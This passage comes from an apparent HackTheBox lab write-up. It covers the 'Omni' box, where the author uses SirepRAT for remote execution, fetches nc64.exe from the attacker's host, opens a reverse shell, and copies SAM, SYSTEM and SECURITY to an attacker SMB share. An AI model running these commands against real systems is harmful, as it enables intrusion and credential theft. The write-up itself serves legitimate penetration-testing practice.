&amp;lt;StopOnIdleEnd&amp;gt;true&amp;lt;/StopOnIdleEnd&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;RestartOnIdle&amp;gt;false&amp;lt;/RestartOnIdle&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;/IdleSettings&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;/Settings&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;Triggers&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;TimeTrigger&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;StartBoundary&amp;gt;2020-06-10T00:00:00&amp;lt;/StartBoundary&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;Repetition&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;Interval&amp;gt;PT1M&amp;lt;/Interval&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;/Repetition&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;/TimeTrigger&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;/Triggers&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;Actions Context=&amp;#34;Author&amp;#34;&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;Exec&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;Command&amp;gt;powershell.exe&amp;lt;/Command&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;Arguments&amp;gt;-c Set-ADAccountPassword -Identity bnielson -Reset -NewPassword (ConvertTo-SecureString -AsPlainText &amp;#34;Fabricorp01&amp;#34; -Force); Get-ADUser -Identity bnielson | Set-ADUser -Ch&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;angePasswordAtLogon:$true; Set-ADAccountPassword -Identity tlavel -Reset -NewPassword (ConvertTo-SecureString -AsPlainText &amp;#34;Fabricorp01&amp;#34; -Force); Get-ADUser -Identity tlavel | Set-ADUser -ChangePasswordAtLogon:$true; Set-ADAccountPassword -Identity bhult -Reset -NewPassword (ConvertTo-SecureString -AsPlainText &amp;#34;Fabricorp01&amp;#34; -Force); Get-ADUser -Identity bhult | Set-ADUser -ChangePasswordAtLogon:$true;&amp;lt;/Arguments&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;/Exec&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;/Actions&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;/Task&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This output was complete. It reset the passwords and set Set-ADUser -ChangePasswordAtLogon:$true.&lt;/p&gt;&#10;&lt;p&gt;That&amp;rsquo;s why every login attempt kept saying the password had to be changed. Next, I looked at the overall approach taken in other write-ups.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0345.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No wonder the password kept reverting. The intention behind it was good.&lt;/p&gt;&#10;&lt;p&gt;I read quite a few write-ups, and their basic approach was mostly the same. Only this person automated the process of obtaining the password, then ran whatever command they wanted at the bottom.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0346.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h2 id="16omni"&gt;&lt;a href="#16omni" class="header-anchor"&gt;&lt;/a&gt;16.Omni&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0347.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0348.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Trying RPC with a blank password:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpcclient -U &amp;#34;&amp;#34; -N 10.10.10.204&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Cannot connect to server. Error was NT_STATUS_IO_TIMEOUT&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;WinRM on port 5985 was no good without credentials either, and it is generally used after getting a shell anyway.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0349.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Port 8080 required authentication. I planned to figure out what framework it was running and then brute-force the directories.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0350.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was a temporary redirect.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0351.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was nothing much there, but I found a CSS file in the page source.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.204:8080/css/common.css" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.204:8080/css/common.css&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0352.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0353.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0354.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;None of them contained anything useful, though.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://serverfault.com/questions/52199/security-risk-microsoft-httpapi-2-0" target="_blank" rel="noopener"&#10; &gt;https://serverfault.com/questions/52199/security-risk-microsoft-httpapi-2-0&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This post suggested there might be a SQL Server web application behind it, but I could not find any similarities at all, so that was probably not the case.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;HTTP/1.1 401 Unauthorized&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Server: Microsoft-HTTPAPI/2.0&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;WWW-Authenticate: Basic realm=&amp;#34;Windows Device Portal&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Date: Sun, 01 Dec 2024 20:32:22 GMT&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Content-Length: 0&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The response told me that this application was Windows Device Portal, but I still found nothing useful and got stuck here for quite a while again.&lt;/p&gt;&#10;&lt;p&gt;It really did seem like there was nothing there, so I tried looking at ports 29817, 29819, and 29820.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0355.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The nmap results were the same as during my initial information gathering, without much to go on. The interesting part was that two ports responded.&lt;/p&gt;&#10;&lt;p&gt;I had no idea what any of these services were, so all I could do was google their defaults.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0356.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;As I dug deeper, I found an exploit.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/SafeBreach-Labs/SirepRAT" target="_blank" rel="noopener"&#10; &gt;https://github.com/SafeBreach-Labs/SirepRAT&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;It was very convenient to use, too.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0357.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problem—it worked.&lt;/p&gt;&#10;&lt;p&gt;I spent a very long time investigating this part. The shell I generated with msfvenom could be written to disk, but executing it never gave me a callback. I kept thinking I had written it incorrectly, but apparently it simply could not connect back.&lt;/p&gt;&#10;&lt;p&gt;The command below revealed a directory to me.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --as_logged_on_user --cmd &amp;#34;C:\Windows\System32\cmd.exe&amp;#34; --args &amp;#34; /c echo {{userprofile}}&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;HResultResult | type: 1, payload length: 4, HResult: 0x0&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;OutputStreamResult | type: 11, payload length: 30, payload peek: &amp;#39;b&amp;#39;C:\\Data\\Users\\DefaultAccount\r\n&amp;#39;&amp;#39;&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;ErrorStreamResult | type: 12, payload length: 4, payload peek: &amp;#39;b&amp;#39;\x00\x00\x00\x00&amp;#39;&amp;#39;&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The C:\Data\Users\DefaultAccount directory was writable. I uploaded a lot of files there and checked them with dir; everything looked fine.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --as_logged_on_user --cmd &amp;#34;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe&amp;#34; --args &amp;#34; dir C:\\Data\\Users\\DefaultAccount\\&amp;#34; --v&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0358.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Execution still failed, though. I tried a number of PowerShell payloads and none worked. You can see an nc64.exe above; that was the only thing that worked.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd &amp;#34;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe&amp;#34; --args &amp;#34; iwr http://10.10.16.2:33333/ncexe/nc64.exe -OutFile C:\\Data\\Users\\DefaultAccount\nc64.exe&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --as_logged_on_user --cmd &amp;#34;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe&amp;#34; --args &amp;#34; C:\\Data\\Users\\DefaultAccount\\nc64.exe 10.10.16.2 6666 -e C:\Windows\System32\cmd.exe&amp;#34; --v&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;These two commands solved my problem nicely.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0359.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I finally got a shell. There were no flags anywhere under Users.&lt;/p&gt;&#10;&lt;p&gt;Strangely, there seemed to be almost nothing in here. Was I inside a container? Or a virtual machine? Either way, it was an isolated environment.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0360.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0361.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;So was I currently on the physical machine, while the data directory inside it was actually the virtual machine?&lt;/p&gt;&#10;&lt;p&gt;I went through almost every directory. There were basically only a few applications, and they all seemed to be default applications. I decided to extract SAM and see if it contained any passwords. The SAM file here did not appear to be in use—I could access it directly with type—so I could simply copy it.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbserver.py kali . -smb2support&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Data\Windows\System32\config&amp;gt;copy .\SAM \\10.10.16.2\kali\SAM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Data\Windows\System32\config&amp;gt;copy .\SYSTEM \\10.10.16.2\kali\SYSTEM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Data\Windows\System32\config&amp;gt;copy .\SECURITY \\10.10.16.2\kali\SECURITY&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;a class="link" href="https://blog.csdn.net/feigerger/article/details/131603338" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/feigerger/article/details/131603338&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0362.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Unfortunately, that did not work. This was already a dead end. I had looked through nearly every file in the data folder, and I googled any unfamiliar ones to find out what services they belonged to, but found nothing. I started looking through the local directories and found PhoneProvisioner_OEM, but there was nothing useful in it.&lt;/p&gt;&#10;&lt;p&gt;I eventually found the passwords here, inside a hidden file.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Program Files\WindowsPowerShell\Modules\PackageManagement\r.bat&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;@echo off&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;:LOOP&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;for /F &amp;#34;skip=6&amp;#34; %%i in (&amp;#39;net localgroup &amp;#34;administrators&amp;#34;&amp;#39;) do net localgroup &amp;#34;administrators&amp;#34; %%i /delete&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net user app mesh5143&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net user administrator _1nt3rn37ofTh1nGz&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ping -n 3 127.0.0.1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cls&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GOTO :LOOP&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;:EXIT&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Fortunately, this password worked for authentication on port 80.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0363.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I could not find any way to exploit it online.&lt;/p&gt;&#10;&lt;p&gt;After looking more closely, I realized it seemed to expose all the information from this Windows 10 machine here. During validation, I confirmed that the password really was the computer&amp;rsquo;s administrator password, not a virtual one. I also picked up a Wi-Fi password along the way. Once I had that, I planned to upload lazagne.exe and check for locally stored passwords.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0364.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I went back to searching for hidden files, but still found nothing. I tried a great many approaches, and every result told me this was not the right path. I did not know which step I had gotten wrong, but at this point I was completely stuck, so I had no choice but to read a write-up.&lt;/p&gt;&#10;&lt;p&gt;After reading through the intended path, I found that my approach to obtaining the administrator password was indeed fine; it simply required going through files endlessly. The author listed three methods.&lt;/p&gt;&#10;&lt;p&gt;The first method extracted SAM and SYSTEM from the registry, whereas I had extracted the local files, which was why I got nothing.&lt;/p&gt;&#10;&lt;p&gt;The second method involved creating an administrator user, but the user would be removed. The cleanup script was the r.bat shown above.&lt;/p&gt;&#10;&lt;p&gt;The third method was to find r.bat and read the passwords. The passwords obtained with the first two methods were NTLM-encrypted and needed to be cracked.&lt;/p&gt;&#10;&lt;p&gt;Logging into the web application on port 8080 was no problem. My mistake was not searching carefully enough through the applications inside. I could only tell that it looked like a web-based resource-management application. I relied too heavily on google: when google returned no RCE results, I assumed it might be a rabbit hole. I had missed things while browsing through it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0365.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;So Windows had connected the local device from earlier to this WDP. I needed to get a shell on that device through WDP.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0366.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Found it—the place where commands could be executed.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\\Data\\Users\\DefaultAccount\\nc64.exe 10.10.16.14 7777 -e C:\Windows\System32\cmd.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I could not see any difference in privileges at all, but it somehow got me in.&lt;/p&gt;&#10;&lt;p&gt;Old shell:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0367.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;New shell:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0368.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0369.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Everything under the data directory was now accessible.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0370.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Just like root.txt, it was encrypted.&lt;/p&gt;&#10;&lt;p&gt;After reading a lot of blog posts, I started trying to decrypt it.&lt;/p&gt;&#10;&lt;p&gt;The post that helped me the most was &lt;a class="link" href="https://stackoverflow.com/questions/63639876/powershell-password-decrypt" target="_blank" rel="noopener"&#10; &gt;https://stackoverflow.com/questions/63639876/powershell-password-decrypt&lt;/a&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0371.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;At first, I kept running into the problem shown above. Later I realized the data had already been read; I was simply displaying it incorrectly. I finished reading the post above.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0372.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Initially, my output always looked exactly like the command-line output shown there. But farther down, the author mentioned an interface, and that was the key. So all I needed was the following:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span 